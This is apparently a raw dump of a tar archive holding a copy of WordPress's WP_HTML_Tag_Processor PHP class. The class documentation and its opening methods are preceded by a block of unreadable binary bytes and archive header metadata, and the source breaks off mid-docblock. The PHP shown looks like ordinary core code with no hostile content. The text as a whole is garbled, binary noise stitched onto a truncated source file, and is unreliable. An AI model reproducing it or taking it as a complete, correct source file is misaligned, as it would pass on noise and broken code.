�#������+����x�������9�ބ�~��h@6or-Y��V���p�ol�h6�q�Q���!�����g�樷��*.�ǰ؀�*_ȍ�0�6F��~�K�9�-�n����hA(D��p��udԹ΄��?��"Ux6��q���l��i��@�XD6h+���!��B�4a|��E�ct@�9@�_؊�N`��r��"m�ҹVq
���D��C'��1�����ɏ��knAib�K�̜�]��NH	�����H+��oM�<*�b(T̍��q��Jf�9VZc����dQs`�c���9����6$i�}�f��Jϳ�A�_�9:�8/AR^���t�/@꒛��œ�[D`��)7ρ!W�N��\�WX�m�?���c�E0H�5�b�t!c�F<61z�O�������z�V�Gԇp�W�ی�5_�X9&��n��dIMm�d�]W�D���9Rm�ʌ���b�����%�Q�B�k�C�w�[�bm��F����1<��e��|�GY`s%��Lm��w�l�td���'�SŒِ���+�^B¤��z~��E��-��%��q��(��Iˬ���6qT)h1��l�#`LH��u��0�x�\6v�@�G�&.T>�ٗ���X
lr����T��k|ځ6! Lm��D�:��6{Lۿ��@��O��1=��&"�[&%j��e��Rf8Ħ���ȑf���@������8�C�0[H�A��i�nCIh�[E��)D��Z�j�q��*�e���ՠ���O��vu�Y�?Rך-jc
o��h���YX�/��?�+��~��=�q��v���`�뮮��	��T�b/�gE�W�`�۟~{;-&�r($/��y)�|;5z����9�#���
ևUx�����ODV�a��`b"�ңj����kN��d�
5�\�~�]*:`��nJ
Y�I�|z�o�ڶH��a5=pW���9i����IU��JN�A9�~pD�Z/h>On�˝.Z�V/�����p�����0����]vq��]Gr~��ܯ��׎�U���æԇ���Q]�2
�#&�����#�z�p˖��QR�o�d�� ���HJ���2�KP���>j��׈{���ۏן>�!0n��_cw�Wp�v����c����n�_�G�����zZ�[��J�class-wp-html-tag-processor.php.tar000064400000453000151440300030013313 0ustar00home/homerdlh/public_html/wp-includes/html-api/class-wp-html-tag-processor.php000064400000447050151440277770023567 0ustar00<?php
/**
 * HTML API: WP_HTML_Tag_Processor class
 *
 * Scans through an HTML document to find specific tags, then
 * transforms those tags by adding, removing, or updating the
 * values of the HTML attributes within that tag (opener).
 *
 * Does not fully parse HTML or _recurse_ into the HTML structure
 * Instead this scans linearly through a document and only parses
 * the HTML tag openers.
 *
 * ### Possible future direction for this module
 *
 *  - Prune the whitespace when removing classes/attributes: e.g. "a b c" -> "c" not " c".
 *    This would increase the size of the changes for some operations but leave more
 *    natural-looking output HTML.
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.2.0
 */

/**
 * Core class used to modify attributes in an HTML document for tags matching a query.
 *
 * ## Usage
 *
 * Use of this class requires three steps:
 *
 *  1. Create a new class instance with your input HTML document.
 *  2. Find the tag(s) you are looking for.
 *  3. Request changes to the attributes in those tag(s).
 *
 * Example:
 *
 *     $tags = new WP_HTML_Tag_Processor( $html );
 *     if ( $tags->next_tag( 'option' ) ) {
 *         $tags->set_attribute( 'selected', true );
 *     }
 *
 * ### Finding tags
 *
 * The `next_tag()` function moves the internal cursor through
 * your input HTML document until it finds a tag meeting any of
 * the supplied restrictions in the optional query argument. If
 * no argument is provided then it will find the next HTML tag,
 * regardless of what kind it is.
 *
 * If you want to _find whatever the next tag is_:
 *
 *     $tags->next_tag();
 *
 * | Goal                                                      | Query                                                                           |
 * |-----------------------------------------------------------|---------------------------------------------------------------------------------|
 * | Find any tag.                                             | `$tags->next_tag();`                                                            |
 * | Find next image tag.                                      | `$tags->next_tag( array( 'tag_name' => 'img' ) );`                              |
 * | Find next image tag (without passing the array).          | `$tags->next_tag( 'img' );`                                                     |
 * | Find next tag containing the `fullwidth` CSS class.       | `$tags->next_tag( array( 'class_name' => 'fullwidth' ) );`                      |
 * | Find next image tag containing the `fullwidth` CSS class. | `$tags->next_tag( array( 'tag_name' => 'img', 'class_name' => 'fullwidth' ) );` |
 *
 * If a tag was found meeting your criteria then `next_tag()`
 * will return `true` and you can proceed to modify it. If it
 * returns `false`, however, it failed to find the tag and
 * moved the cursor to the end of the file.
 *
 * Once the cursor reaches the end of the file the processor
 * is done and if you want to reach an earlier tag you will
 * need to recreate the processor and start over, as it's
 * unable to back up or move in reverse.
 *
 * See the section on bookmarks for an exception to this
 * no-backing-up rule.
 *
 * #### Custom queries
 *
 * Sometimes it's necessary to further inspect an HTML tag than
 * the query syntax here permits. In these cases one may further
 * inspect the search results using the read-only functions
 * provided by the processor or external state or variables.
 *
 * Example:
 *
 *     // Paint up to the first five DIV or SPAN tags marked with the "jazzy" style.
 *     $remaining_count = 5;
 *     while ( $remaining_count > 0 && $tags->next_tag() ) {
 *         if (
 *              ( 'DIV' === $tags->get_tag() || 'SPAN' === $tags->get_tag() ) &&
 *              'jazzy' === $tags->get_attribute( 'data-style' )
 *         ) {
 *             $tags->add_class( 'theme-style-everest-jazz' );
 *             $remaining_count--;
 *         }
 *     }
 *
 * `get_attribute()` will return `null` if the attribute wasn't present
 * on the tag when it was called. It may return `""` (the empty string)
 * in cases where the attribute was present but its value was empty.
 * For boolean attributes, those whose name is present but no value is
 * given, it will return `true` (the only way to set `false` for an
 * attribute is to remove it).
 *
 * #### When matching fails
 *
 * When `next_tag()` returns `false` it could mean different things:
 *
 *  - The requested tag wasn't found in the input document.
 *  - The input document ended in the middle of an HTML syntax element.
 *
 * When a document ends in the middle of a syntax element it will pause
 * the processor. This is to make it possible in the future to extend the
 * input document and proceed - an important requirement for chunked
 * streaming parsing of a document.
 *
 * Example:
 *
 *     $processor = new WP_HTML_Tag_Processor( 'This <div is="a" partial="token' );
 *     false === $processor->next_tag();
 *
 * If a special element (see next section) is encountered but no closing tag
 * is found it will count as an incomplete tag. The parser will pause as if
 * the opening tag were incomplete.
 *
 * Example:
 *
 *     $processor = new WP_HTML_Tag_Processor( '<style>// there could be more styling to come' );
 *     false === $processor->next_tag();
 *
 *     $processor = new WP_HTML_Tag_Processor( '<style>// this is everything</style><div>' );
 *     true === $processor->next_tag( 'DIV' );
 *
 * #### Special self-contained elements
 *
 * Some HTML elements are handled in a special way; their start and end tags
 * act like a void tag. These are special because their contents can't contain
 * HTML markup. Everything inside these elements is handled in a special way
 * and content that _appears_ like HTML tags inside of them isn't. There can
 * be no nesting in these elements.
 *
 * In the following list, "raw text" means that all of the content in the HTML
 * until the matching closing tag is treated verbatim without any replacements
 * and without any parsing.
 *
 *  - IFRAME allows no content but requires a closing tag.
 *  - NOEMBED (deprecated) content is raw text.
 *  - NOFRAMES (deprecated) content is raw text.
 *  - SCRIPT content is plaintext apart from legacy rules allowing `</script>` inside an HTML comment.
 *  - STYLE content is raw text.
 *  - TITLE content is plain text but character references are decoded.
 *  - TEXTAREA content is plain text but character references are decoded.
 *  - XMP (deprecated) content is raw text.
 *
 * ### Modifying HTML attributes for a found tag
 *
 * Once you've found the start of an opening tag you can modify
 * any number of the attributes on that tag. You can set a new
 * value for an attribute, remove the entire attribute, or do
 * nothing and move on to the next opening tag.
 *
 * Example:
 *
 *     if ( $tags->next_tag( array( 'class_name' => 'wp-group-block' ) ) ) {
 *         $tags->set_attribute( 'title', 'This groups the contained content.' );
 *         $tags->remove_attribute( 'data-test-id' );
 *     }
 *
 * If `set_attribute()` is called for an existing attribute it will
 * overwrite the existing value. Similarly, calling `remove_attribute()`
 * for a non-existing attribute has no effect on the document. Both
 * of these methods are safe to call without knowing if a given attribute
 * exists beforehand.
 *
 * ### Modifying CSS classes for a found tag
 *
 * The tag processor treats the `class` attribute as a special case.
 * Because it's a common operation to add or remove CSS classes, this
 * interface adds helper methods to make that easier.
 *
 * As with attribute values, adding or removing CSS classes is a safe
 * operation that doesn't require checking if the attribute or class
 * exists before making changes. If removing the only class then the
 * entire `class` attribute will be removed.
 *
 * Example:
 *
 *     // from `<span>Yippee!</span>`
 *     //   to `<span class="is-active">Yippee!</span>`
 *     $tags->add_class( 'is-active' );
 *
 *     // from `<span class="excited">Yippee!</span>`
 *     //   to `<span class="excited is-active">Yippee!</span>`
 *     $tags->add_class( 'is-active' );
 *
 *     // from `<span class="is-active heavy-accent">Yippee!</span>`
 *     //   to `<span class="is-active heavy-accent">Yippee!</span>`
 *     $tags->add_class( 'is-active' );
 *
 *     // from `<input type="text" class="is-active rugby not-disabled" length="24">`
 *     //   to `<input type="text" class="is-active not-disabled" length="24">
 *     $tags->remove_class( 'rugby' );
 *
 *     // from `<input type="text" class="rugby" length="24">`
 *     //   to `<input type="text" length="24">
 *     $tags->remove_class( 'rugby' );
 *
 *     // from `<input type="text" length="24">`
 *     //   to `<input type="text" length="24">
 *     $tags->remove_class( 'rugby' );
 *
 * When class changes are enqueued but a direct change to `class` is made via
 * `set_attribute` then the changes to `set_attribute` (or `remove_attribute`)
 * will take precedence over those made through `add_class` and `remove_class`.
 *
 * ### Bookmarks
 *
 * While scanning through the input HTMl document it's possible to set
 * a named bookmark when a particular tag is found. Later on, after
 * continuing to scan other tags, it's possible to `seek` to one of
 * the set bookmarks and then proceed again from that point forward.
 *
 * Because bookmarks create processing overhead one should avoid
 * creating too many of them. As a rule, create only bookmarks
 * of known string literal names; avoid creating "mark_{$index}"
 * and so on. It's fine from a performance standpoint to create a
 * bookmark and update it frequently, such as within a loop.
 *
 *     $total_todos = 0;
 *     while ( $p->next_tag( array( 'tag_name' => 'UL', 'class_name' => 'todo' ) ) ) {
 *         $p->set_bookmark( 'list-start' );
 *         while ( $p->next_tag( array( 'tag_closers' => 'visit' ) ) ) {
 *             if ( 'UL' === $p->get_tag() && $p->is_tag_closer() ) {
 *                 $p->set_bookmark( 'list-end' );
 *                 $p->seek( 'list-start' );
 *                 $p->set_attribute( 'data-contained-todos', (string) $total_todos );
 *                 $total_todos = 0;
 *                 $p->seek( 'list-end' );
 *                 break;
 *             }
 *
 *             if ( 'LI' === $p->get_tag() && ! $p->is_tag_closer() ) {
 *                 $total_todos++;
 *             }
 *         }
 *     }
 *
 * ## Tokens and finer-grained processing.
 *
 * It's possible to scan through every lexical token in the
 * HTML document using the `next_token()` function. This
 * alternative form takes no argument and provides no built-in
 * query syntax.
 *
 * Example:
 *
 *      $title = '(untitled)';
 *      $text  = '';
 *      while ( $processor->next_token() ) {
 *          switch ( $processor->get_token_name() ) {
 *              case '#text':
 *                  $text .= $processor->get_modifiable_text();
 *                  break;
 *
 *              case 'BR':
 *                  $text .= "\n";
 *                  break;
 *
 *              case 'TITLE':
 *                  $title = $processor->get_modifiable_text();
 *                  break;
 *          }
 *      }
 *      return trim( "# {$title}\n\n{$text}" );
 *
 * ### Tokens and _modifiable text_.
 *
 * #### Special "atomic" HTML elements.
 *
 * Not all HTML elements are able to contain other elements inside of them.
 * For instance, the contents inside a TITLE element are plaintext (except
 * that character references like &amp; will be decoded). This means that
 * if the string `<img>` appears inside a TITLE element, then it's not an
 * image tag, but rather it's text describing an image tag. Likewise, the
 * contents of a SCRIPT or STYLE element are handled entirely separately in
 * a browser than the contents of other elements because they represent a
 * different language than HTML.
 *
 * For these elements the Tag Processor treats the entire sequence as one,
 * from the opening tag, including its contents, through its closing tag.
 * This means that the it's not possible to match the closing tag for a
 * SCRIPT element unless it's unexpected; the Tag Processor already matched
 * it when it found the opening tag.
 *
 * The inner contents of these elements are that element's _modifiable text_.
 *
 * The special elements are:
 *  - `SCRIPT` whose contents are treated as raw plaintext but supports a legacy
 *    style of including JavaScript inside of HTML comments to avoid accidentally
 *    closing the SCRIPT from inside a JavaScript string. E.g. `console.log( '</script>' )`.
 *  - `TITLE` and `TEXTAREA` whose contents are treated as plaintext and then any
 *    character references are decoded. E.g. `1 &lt; 2 < 3` becomes `1 < 2 < 3`.
 *  - `IFRAME`, `NOSCRIPT`, `NOEMBED`, `NOFRAME`, `STYLE` whose contents are treated as
 *    raw plaintext and left as-is. E.g. `1 &lt; 2 < 3` remains `1 &lt; 2 < 3`.
 *
 * #### Other tokens with modifiable text.
 *
 * There are also non-elements which are void/self-closing in nature and contain
 * modifiable text that is part of that individual syntax token itself.
 *
 *  - `#text` nodes, whose entire token _is_ the modifiable text.
 *  - HTML comments and tokens that become comments due to some syntax error. The
 *    text for these tokens is the portion of the comment inside of the syntax.
 *    E.g. for `<!-- comment -->` the text is `" comment "` (note the spaces are included).
 *  - `CDATA` sections, whose text is the content inside of the section itself. E.g. for
 *    `<![CDATA[some content]]>` the text is `"some content"` (with restrictions [1]).
 *  - "Funky comments," which are a special case of invalid closing tags whose name is
 *    invalid. The text for these nodes is the text that a browser would transform into
 *    an HTML comment when parsing. E.g. for `</%post_author>` the text is `%post_author`.
 *  - `DOCTYPE` declarations like `<DOCTYPE html>` which have no closing tag.
 *  - XML Processing instruction nodes like `<?wp __( "Like" ); ?>` (with restrictions [2]).
 *  - The empty end tag `</>` which is ignored in the browser and DOM.
 *
 * [1]: There are no CDATA sections in HTML. When encountering `<![CDATA[`, everything
 *      until the next `>` becomes a bogus HTML comment, meaning there can be no CDATA
 *      section in an HTML document containing `>`. The Tag Processor will first find
 *      all valid and bogus HTML comments, and then if the comment _would_ have been a
 *      CDATA section _were they to exist_, it will indicate this as the type of comment.
 *
 * [2]: XML allows a broader range of characters in a processing instruction's target name
 *      and disallows "xml" as a name, since it's special. The Tag Processor only recognizes
 *      target names with an ASCII-representable subset of characters. It also exhibits the
 *      same constraint as with CDATA sections, in that `>` cannot exist within the token
 *      since Processing Instructions do no exist within HTML and their syntax transforms
 *      into a bogus comment in the DOM.
 *
 * ## Design and limitations
 *
 * The Tag Processor is designed to linearly scan HTML documents and tokenize
 * HTML tags and their attributes. It's designed to do this as efficiently as
 * possible without compromising parsing integrity. Therefore it will be
 * slower than some methods of modifying HTML, such as those incorporating
 * over-simplified PCRE patterns, but will not introduce the defects and
 * failures that those methods bring in, which lead to broken page renders
 * and often to security vulnerabilities. On the other hand, it will be faster
 * than full-blown HTML parsers such as DOMDocument and use considerably
 * less memory. It requires a negligible memory overhead, enough to consider
 * it a zero-overhead system.
 *
 * The performance characteristics are maintained by avoiding tree construction
 * and semantic cleanups which are specified in HTML5. Because of this, for
 * example, it's not possible for the Tag Processor to associate any given
 * opening tag with its corresponding closing tag, or to return the inner markup
 * inside an element. Systems may be built on top of the Tag Processor to do
 * this, but the Tag Processor is and should be constrained so it can remain an
 * efficient, low-level, and reliable HTML scanner.
 *
 * The Tag Processor's design incorporates a "garbage-in-garbage-out" philosophy.
 * HTML5 specifies that certain invalid content be transformed into different forms
 * for display, such as removing null bytes from an input document and replacing
 * invalid characters with the Unicode replacement character `U+FFFD` (visually "�").
 * Where errors or transformations exist within the HTML5 specification, the Tag Processor
 * leaves those invalid inputs untouched, passing them through to the final browser
 * to handle. While this implies that certain operations will be non-spec-compliant,
 * such as reading the value of an attribute with invalid content, it also preserves a
 * simplicity and efficiency for handling those error cases.
 *
 * Most operations within the Tag Processor are designed to minimize the difference
 * between an input and output document for any given change. For example, the
 * `add_class` and `remove_class` methods preserve whitespace and the class ordering
 * within the `class` attribute; and when encountering tags with duplicated attributes,
 * the Tag Processor will leave those invalid duplicate attributes where they are but
 * update the proper attribute which the browser will read for parsing its value. An
 * exception to this rule is that all attribute updates store their values as
 * double-quoted strings, meaning that attributes on input with single-quoted or
 * unquoted values will appear in the output with double-quotes.
 *
 * ### Scripting Flag
 *
 * The Tag Processor parses HTML with the "scripting flag" disabled. This means
 * that it doesn't run any scripts while parsing the page. In a browser with
 * JavaScript enabled, for example, the script can change the parse of the
 * document as it loads. On the server, however, evaluating JavaScript is not
 * only impractical, but also unwanted.
 *
 * Practically this means that the Tag Processor will descend into NOSCRIPT
 * elements and process its child tags. Were the scripting flag enabled, such
 * as in a typical browser, the contents of NOSCRIPT are skipped entirely.
 *
 * This allows the HTML API to process the content that will be presented in
 * a browser when scripting is disabled, but it offers a different view of a
 * page than most browser sessions will experience. E.g. the tags inside the
 * NOSCRIPT disappear.
 *
 * ### Text Encoding
 *
 * The Tag Processor assumes that the input HTML document is encoded with a
 * text encoding compatible with 7-bit ASCII's '<', '>', '&', ';', '/', '=',
 * "'", '"', 'a' - 'z', 'A' - 'Z', and the whitespace characters ' ', tab,
 * carriage-return, newline, and form-feed.
 *
 * In practice, this includes almost every single-byte encoding as well as
 * UTF-8. Notably, however, it does not include UTF-16. If providing input
 * that's incompatible, then convert the encoding beforehand.
 *
 * @since 6.2.0
 * @since 6.2.1 Fix: Support for various invalid comments; attribute updates are case-insensitive.
 * @since 6.3.2 Fix: Skip HTML-like content inside rawtext elements such as STYLE.
 * @since 6.5.0 Pauses processor when input ends in an incomplete syntax token.
 *              Introduces "special" elements which act like void elements, e.g. TITLE, STYLE.
 *              Allows scanning through all tokens and processing modifiable text, where applicable.
 */
class WP_HTML_Tag_Processor {
	/**
	 * The maximum number of bookmarks allowed to exist at
	 * any given time.
	 *
	 * @since 6.2.0
	 * @var int
	 *
	 * @see WP_HTML_Tag_Processor::set_bookmark()
	 */
	const MAX_BOOKMARKS = 10;

	/**
	 * Maximum number of times seek() can be called.
	 * Prevents accidental infinite loops.
	 *
	 * @since 6.2.0
	 * @var int
	 *
	 * @see WP_HTML_Tag_Processor::seek()
	 */
	const MAX_SEEK_OPS = 1000;

	/**
	 * The HTML document to parse.
	 *
	 * @since 6.2.0
	 * @var string
	 */
	protected $html;

	/**
	 * The last query passed to next_tag().
	 *
	 * @since 6.2.0
	 * @var array|null
	 */
	private $last_query;

	/**
	 * The tag name this processor currently scans for.
	 *
	 * @since 6.2.0
	 * @var string|null
	 */
	private $sought_tag_name;

	/**
	 * The CSS class name this processor currently scans for.
	 *
	 * @since 6.2.0
	 * @var string|null
	 */
	private $sought_class_name;

	/**
	 * The match offset this processor currently scans for.
	 *
	 * @since 6.2.0
	 * @var int|null
	 */
	private $sought_match_offset;

	/**
	 * Whether to visit tag closers, e.g. </div>, when walking an input document.
	 *
	 * @since 6.2.0
	 * @var bool
	 */
	private $stop_on_tag_closers;

	/**
	 * Specifies mode of operation of the parser at any given time.
	 *
	 * | State           | Meaning                                                              |
	 * | ----------------|----------------------------------------------------------------------|
	 * | *Ready*         | The parser is ready to run.                                          |
	 * | *Complete*      | There is nothing left to parse.                                      |
	 * | *Incomplete*    | The HTML ended in the middle of a token; nothing more can be parsed. |
	 * | *Matched tag*   | Found an HTML tag; it's possible to modify its attributes.           |
	 * | *Text node*     | Found a #text node; this is plaintext and modifiable.                |
	 * | *CDATA node*    | Found a CDATA section; this is modifiable.                           |
	 * | *Comment*       | Found a comment or bogus comment; this is modifiable.                |
	 * | *Presumptuous*  | Found an empty tag closer: `</>`.                                    |
	 * | *Funky comment* | Found a tag closer with an invalid tag name; this is modifiable.     |
	 *
	 * @since 6.5.0
	 *
	 * @see WP_HTML_Tag_Processor::STATE_READY
	 * @see WP_HTML_Tag_Processor::STATE_COMPLETE
	 * @see WP_HTML_Tag_Processor::STATE_INCOMPLETE_INPUT
	 * @see WP_HTML_Tag_Processor::STATE_MATCHED_TAG
	 * @see WP_HTML_Tag_Processor::STATE_TEXT_NODE
	 * @see WP_HTML_Tag_Processor::STATE_CDATA_NODE
	 * @see WP_HTML_Tag_Processor::STATE_COMMENT
	 * @see WP_HTML_Tag_Processor::STATE_DOCTYPE
	 * @see WP_HTML_Tag_Processor::STATE_PRESUMPTUOUS_TAG
	 * @see WP_HTML_Tag_Processor::STATE_FUNKY_COMMENT
	 *
	 * @var string
	 */
	protected $parser_state = self::STATE_READY;

	/**
	 * Indicates if the document is in quirks mode or no-quirks mode.
	 *
	 *  Impact on HTML parsing:
	 *
	 *   - In `NO_QUIRKS_MODE` (also known as "standard mode"):
	 *       - CSS class and ID selectors match byte-for-byte (case-sensitively).
	 *       - A TABLE start tag `<table>` implicitly closes any open `P` element.
	 *
	 *   - In `QUIRKS_MODE`:
	 *       - CSS class and ID selectors match match in an ASCII case-insensitive manner.
	 *       - A TABLE start tag `<table>` opens a `TABLE` element as a child of a `P`
	 *         element if one is open.
	 *
	 * Quirks and no-quirks mode are thus mostly about styling, but have an impact when
	 * tables are found inside paragraph elements.
	 *
	 * @see self::QUIRKS_MODE
	 * @see self::NO_QUIRKS_MODE
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	protected $compat_mode = self::NO_QUIRKS_MODE;

	/**
	 * Indicates whether the parser is inside foreign content,
	 * e.g. inside an SVG or MathML element.
	 *
	 * One of 'html', 'svg', or 'math'.
	 *
	 * Several parsing rules change based on whether the parser
	 * is inside foreign content, including whether CDATA sections
	 * are allowed and whether a self-closing flag indicates that
	 * an element has no content.
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	private $parsing_namespace = 'html';

	/**
	 * What kind of syntax token became an HTML comment.
	 *
	 * Since there are many ways in which HTML syntax can create an HTML comment,
	 * this indicates which of those caused it. This allows the Tag Processor to
	 * represent more from the original input document than would appear in the DOM.
	 *
	 * @since 6.5.0
	 *
	 * @var string|null
	 */
	protected $comment_type = null;

	/**
	 * What kind of text the matched text node represents, if it was subdivided.
	 *
	 * @see self::TEXT_IS_NULL_SEQUENCE
	 * @see self::TEXT_IS_WHITESPACE
	 * @see self::TEXT_IS_GENERIC
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	protected $text_node_classification = self::TEXT_IS_GENERIC;

	/**
	 * How many bytes from the original HTML document have been read and parsed.
	 *
	 * This value points to the latest byte offset in the input document which
	 * has been already parsed. It is the internal cursor for the Tag Processor
	 * and updates while scanning through the HTML tokens.
	 *
	 * @since 6.2.0
	 * @var int
	 */
	private $bytes_already_parsed = 0;

	/**
	 * Byte offset in input document where current token starts.
	 *
	 * Example:
	 *
	 *     <div id="test">...
	 *     01234
	 *     - token starts at 0
	 *
	 * @since 6.5.0
	 *
	 * @var int|null
	 */
	private $token_starts_at;

	/**
	 * Byte length of current token.
	 *
	 * Example:
	 *
	 *     <div id="test">...
	 *     012345678901234
	 *     - token length is 14 - 0 = 14
	 *
	 *     a <!-- comment --> is a token.
	 *     0123456789 123456789 123456789
	 *     - token length is 17 - 2 = 15
	 *
	 * @since 6.5.0
	 *
	 * @var int|null
	 */
	private $token_length;

	/**
	 * Byte offset in input document where current tag name starts.
	 *
	 * Example:
	 *
	 *     <div id="test">...
	 *     01234
	 *      - tag name starts at 1
	 *
	 * @since 6.2.0
	 *
	 * @var int|null
	 */
	private $tag_name_starts_at;

	/**
	 * Byte length of current tag name.
	 *
	 * Example:
	 *
	 *     <div id="test">...
	 *     01234
	 *      --- tag name length is 3
	 *
	 * @since 6.2.0
	 *
	 * @var int|null
	 */
	private $tag_name_length;

	/**
	 * Byte offset into input document where current modifiable text starts.
	 *
	 * @since 6.5.0
	 *
	 * @var int
	 */
	private $text_starts_at;

	/**
	 * Byte length of modifiable text.
	 *
	 * @since 6.5.0
	 *
	 * @var int
	 */
	private $text_length;

	/**
	 * Whether the current tag is an opening tag, e.g. <div>, or a closing tag, e.g. </div>.
	 *
	 * @var bool
	 */
	private $is_closing_tag;

	/**
	 * Lazily-built index of attributes found within an HTML tag, keyed by the attribute name.
	 *
	 * Example:
	 *
	 *     // Supposing the parser is working through this content
	 *     // and stops after recognizing the `id` attribute.
	 *     // <div id="test-4" class=outline title="data:text/plain;base64=asdk3nk1j3fo8">
	 *     //                 ^ parsing will continue from this point.
	 *     $this->attributes = array(
	 *         'id' => new WP_HTML_Attribute_Token( 'id', 9, 6, 5, 11, false )
	 *     );
	 *
	 *     // When picking up parsing again, or when asking to find the
	 *     // `class` attribute we will continue and add to this array.
	 *     $this->attributes = array(
	 *         'id'    => new WP_HTML_Attribute_Token( 'id', 9, 6, 5, 11, false ),
	 *         'class' => new WP_HTML_Attribute_Token( 'class', 23, 7, 17, 13, false )
	 *     );
	 *
	 *     // Note that only the `class` attribute value is stored in the index.
	 *     // That's because it is the only value used by this class at the moment.
	 *
	 * @since 6.2.0
	 * @var WP_HTML_Attribute_Token[]
	 */
	private $attributes = array();

	/**
	 * Tracks spans of duplicate attributes on a given tag, used for removing
	 * all copies of an attribute when calling `remove_attribute()`.
	 *
	 * @since 6.3.2
	 *
	 * @var (WP_HTML_Span[])[]|null
	 */
	private $duplicate_attributes = null;

	/**
	 * Which class names to add or remove from a tag.
	 *
	 * These are tracked separately from attribute updates because they are
	 * semantically distinct, whereas this interface exists for the common
	 * case of adding and removing class names while other attributes are
	 * generally modified as with DOM `setAttribute` calls.
	 *
	 * When modifying an HTML document these will eventually be collapsed
	 * into a single `set_attribute( 'class', $changes )` call.
	 *
	 * Example:
	 *
	 *     // Add the `wp-block-group` class, remove the `wp-group` class.
	 *     $classname_updates = array(
	 *         // Indexed by a comparable class name.
	 *         'wp-block-group' => WP_HTML_Tag_Processor::ADD_CLASS,
	 *         'wp-group'       => WP_HTML_Tag_Processor::REMOVE_CLASS
	 *     );
	 *
	 * @since 6.2.0
	 * @var bool[]
	 */
	private $classname_updates = array();

	/**
	 * Tracks a semantic location in the original HTML which
	 * shifts with updates as they are applied to the document.
	 *
	 * @since 6.2.0
	 * @var WP_HTML_Span[]
	 */
	protected $bookmarks = array();

	const ADD_CLASS    = true;
	const REMOVE_CLASS = false;
	const SKIP_CLASS   = null;

	/**
	 * Lexical replacements to apply to input HTML document.
	 *
	 * "Lexical" in this class refers to the part of this class which
	 * operates on pure text _as text_ and not as HTML. There's a line
	 * between the public interface, with HTML-semantic methods like
	 * `set_attribute` and `add_class`, and an internal state that tracks
	 * text offsets in the input document.
	 *
	 * When higher-level HTML methods are called, those have to transform their
	 * operations (such as setting an attribute's value) into text diffing
	 * operations (such as replacing the sub-string from indices A to B with
	 * some given new string). These text-diffing operations are the lexical
	 * updates.
	 *
	 * As new higher-level methods are added they need to collapse their
	 * operations into these lower-level lexical updates since that's the
	 * Tag Processor's internal language of change. Any code which creates
	 * these lexical updates must ensure that they do not cross HTML syntax
	 * boundaries, however, so these should never be exposed outside of this
	 * class or any classes which intentionally expand its functionality.
	 *
	 * These are enqueued while editing the document instead of being immediately
	 * applied to avoid processing overhead, string allocations, and string
	 * copies when applying many updates to a single document.
	 *
	 * Example:
	 *
	 *     // Replace an attribute stored with a new value, indices
	 *     // sourced from the lazily-parsed HTML recognizer.
	 *     $start  = $attributes['src']->start;
	 *     $length = $attributes['src']->length;
	 *     $modifications[] = new WP_HTML_Text_Replacement( $start, $length, $new_value );
	 *
	 *     // Correspondingly, something like this will appear in this array.
	 *     $lexical_updates = array(
	 *         WP_HTML_Text_Replacement( 14, 28, 'https://my-site.my-domain/wp-content/uploads/2014/08/kittens.jpg' )
	 *     );
	 *
	 * @since 6.2.0
	 * @var WP_HTML_Text_Replacement[]
	 */
	protected $lexical_updates = array();

	/**
	 * Tracks and limits `seek()` calls to prevent accidental infinite loops.
	 *
	 * @since 6.2.0
	 * @var int
	 *
	 * @see WP_HTML_Tag_Processor::seek()
	 */
	protected $seek_count = 0;

	/**
	 * Whether the parser should skip over an immediately-following linefeed
	 * character, as is the case with LISTING, PRE, and TEXTAREA.
	 *
	 * > If the next token is a U+000A LINE FEED (LF) character token, then
	 * > ignore that token and move on to the next one. (Newlines at the start
	 * > of [these] elements are ignored as an authoring convenience.)
	 *
	 * @since 6.7.0
	 *
	 * @var int|null
	 */
	private $skip_newline_at = null;

	/**
	 * Constructor.
	 *
	 * @since 6.2.0
	 *
	 * @param string $html HTML to process.
	 */
	public function __construct( $html ) {
		if ( ! is_string( $html ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'The HTML parameter must be a string.' ),
				'6.9.0'
			);
			$html = '';
		}
		$this->html = $html;
	}

	/**
	 * Switches parsing mode into a new namespace, such as when
	 * encountering an SVG tag and entering foreign content.
	 *
	 * @since 6.7.0
	 *
	 * @param string $new_namespace One of 'html', 'svg', or 'math' indicating into what
	 *                              namespace the next tokens will be processed.
	 * @return bool Whether the namespace was valid and changed.
	 */
	public function change_parsing_namespace( string $new_namespace ): bool {
		if ( ! in_array( $new_namespace, array( 'html', 'math', 'svg' ), true ) ) {
			return false;
		}

		$this->parsing_namespace = $new_namespace;
		return true;
	}

	/**
	 * Finds the next tag matching the $query.
	 *
	 * @since 6.2.0
	 * @since 6.5.0 No longer processes incomplete tokens at end of document; pauses the processor at start of token.
	 *
	 * @param array|string|null $query {
	 *     Optional. Which tag name to find, having which class, etc. Default is to find any tag.
	 *
	 *     @type string|null $tag_name     Which tag to find, or `null` for "any tag."
	 *     @type int|null    $match_offset Find the Nth tag matching all search criteria.
	 *                                     1 for "first" tag, 3 for "third," etc.
	 *                                     Defaults to first tag.
	 *     @type string|null $class_name   Tag must contain this whole class name to match.
	 *     @type string|null $tag_closers  "visit" or "skip": whether to stop on tag closers, e.g. </div>.
	 * }
	 * @return bool Whether a tag was matched.
	 */
	public function next_tag( $query = null ): bool {
		$this->parse_query( $query );
		$already_found = 0;

		do {
			if ( false === $this->next_token() ) {
				return false;
			}

			if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
				continue;
			}

			if ( $this->matches() ) {
				++$already_found;
			}
		} while ( $already_found < $this->sought_match_offset );

		return true;
	}

	/**
	 * Finds the next token in the HTML document.
	 *
	 * An HTML document can be viewed as a stream of tokens,
	 * where tokens are things like HTML tags, HTML comments,
	 * text nodes, etc. This method finds the next token in
	 * the HTML document and returns whether it found one.
	 *
	 * If it starts parsing a token and reaches the end of the
	 * document then it will seek to the start of the last
	 * token and pause, returning `false` to indicate that it
	 * failed to find a complete token.
	 *
	 * Possible token types, based on the HTML specification:
	 *
	 *  - an HTML tag, whether opening, closing, or void.
	 *  - a text node - the plaintext inside tags.
	 *  - an HTML comment.
	 *  - a DOCTYPE declaration.
	 *  - a processing instruction, e.g. `<?xml version="1.0" ?>`.
	 *
	 * The Tag Processor currently only supports the tag token.
	 *
	 * @since 6.5.0
	 * @since 6.7.0 Recognizes CDATA sections within foreign content.
	 *
	 * @return bool Whether a token was parsed.
	 */
	public function next_token(): bool {
		return $this->base_class_next_token();
	}

	/**
